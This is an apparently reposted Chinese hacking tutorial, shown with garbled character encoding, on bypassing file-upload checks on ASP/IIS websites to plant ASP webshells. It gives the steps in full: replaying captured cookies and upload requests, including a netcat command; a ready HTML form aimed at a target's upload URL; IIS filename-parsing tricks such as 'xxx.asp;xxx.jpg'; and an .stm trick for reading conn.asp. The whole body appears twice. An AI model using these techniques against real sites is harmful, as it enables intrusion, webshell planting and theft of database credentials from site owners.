腳本入侵-上傳漏洞總結(jié)篇(臭小子)
發(fā)布日期：2022-01-31 10:25 | 文章來(lái)源：站長(zhǎng)之家
1：抓包上傳
我們可以用WSockExpert(抓包工具) hkcpost抓包提交軟件或等等抓包工具
說(shuō)下hkcpost有時(shí)候電腦打不開WSockExpert(抓包工具) 我們就用這工具
很好用
說(shuō)到抓包上傳 比如一個(gè)上傳地址http://site/upload.asp
或后臺(tái)管理后臺(tái)上傳地址
我們就抓包c(diǎn)ookies 參數(shù) 和文件上傳成功地址
然后用明小子或等等抓包工具 上傳。大家可以去百度搜索相關(guān)的教程和文章看看
2：抓包和nc上傳
抓包c(diǎn)ookies 參數(shù) 和文件的數(shù)據(jù) 然后保存成文本 比如hack92.txt
然后用編譯C32asm 或等等編譯工具 修改
然后用nc.exe 提交 命令nc -vv site 80<hack92.txt
大家可以去百度搜索下nc上傳 或突破 等等教程文章看
3：本地上傳漏洞
把下面的代碼 保存為hack92.html
------------------------------
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
}
.tx1 {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
}
</STYLE>
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY leftMargin=0 topMargin=0>
<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上傳 name=Submit>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
------------------------------------------
添加上傳地址
把<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
把：把上傳地址復(fù)制這里到這里 你的上傳地址
然后打開hack92.html 出現(xiàn)兩個(gè)頁(yè)面 第一個(gè)上你的圖片木馬 然后在上你的ASP木馬
提示在上asp木馬記得 加個(gè)空格
4：iis漏洞
把我們的asp木馬 改成xxx.asp;xxx.jpg 或xxx.asp.jpg
或建立asp.asp asa.asa 目錄 上圖片asp木馬
5：上傳突破
當(dāng)網(wǎng)站不允許上傳asp .. cer ..cdx . htr 等文件時(shí)，上傳一個(gè)stm文件，代碼為 “”(想查看什么文件就寫什么文件名，這里我假設(shè)想查看的文件名為”conn.asp”),，然后直接打開這個(gè)stm文件的地址，再查看源代碼，“conn.asp”這個(gè)文件的代碼就一覽無(wú)遺了!
大家可以去百度搜索相關(guān)的文章和教程
我們可以用WSockExpert(抓包工具) hkcpost抓包提交軟件或等等抓包工具
說(shuō)下hkcpost有時(shí)候電腦打不開WSockExpert(抓包工具) 我們就用這工具
很好用
說(shuō)到抓包上傳 比如一個(gè)上傳地址http://site/upload.asp
或后臺(tái)管理后臺(tái)上傳地址
我們就抓包c(diǎn)ookies 參數(shù) 和文件上傳成功地址
然后用明小子或等等抓包工具 上傳。大家可以去百度搜索相關(guān)的教程和文章看看
2：抓包和nc上傳
抓包c(diǎn)ookies 參數(shù) 和文件的數(shù)據(jù) 然后保存成文本 比如hack92.txt
然后用編譯C32asm 或等等編譯工具 修改
然后用nc.exe 提交 命令nc -vv site 80<hack92.txt
大家可以去百度搜索下nc上傳 或突破 等等教程文章看
3：本地上傳漏洞
把下面的代碼 保存為hack92.html
------------------------------
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
}
.tx1 {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
}
</STYLE>
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY leftMargin=0 topMargin=0>
<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上傳 name=Submit>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
------------------------------------------
添加上傳地址
把<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
把：把上傳地址復(fù)制這里到這里 你的上傳地址
然后打開hack92.html 出現(xiàn)兩個(gè)頁(yè)面 第一個(gè)上你的圖片木馬 然后在上你的ASP木馬
提示在上asp木馬記得 加個(gè)空格
4：iis漏洞
把我們的asp木馬 改成xxx.asp;xxx.jpg 或xxx.asp.jpg
或建立asp.asp asa.asa 目錄 上圖片asp木馬
5：上傳突破
當(dāng)網(wǎng)站不允許上傳asp .. cer ..cdx . htr 等文件時(shí)，上傳一個(gè)stm文件，代碼為 “”(想查看什么文件就寫什么文件名，這里我假設(shè)想查看的文件名為”conn.asp”),，然后直接打開這個(gè)stm文件的地址，再查看源代碼，“conn.asp”這個(gè)文件的代碼就一覽無(wú)遺了!
大家可以去百度搜索相關(guān)的文章和教程
版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信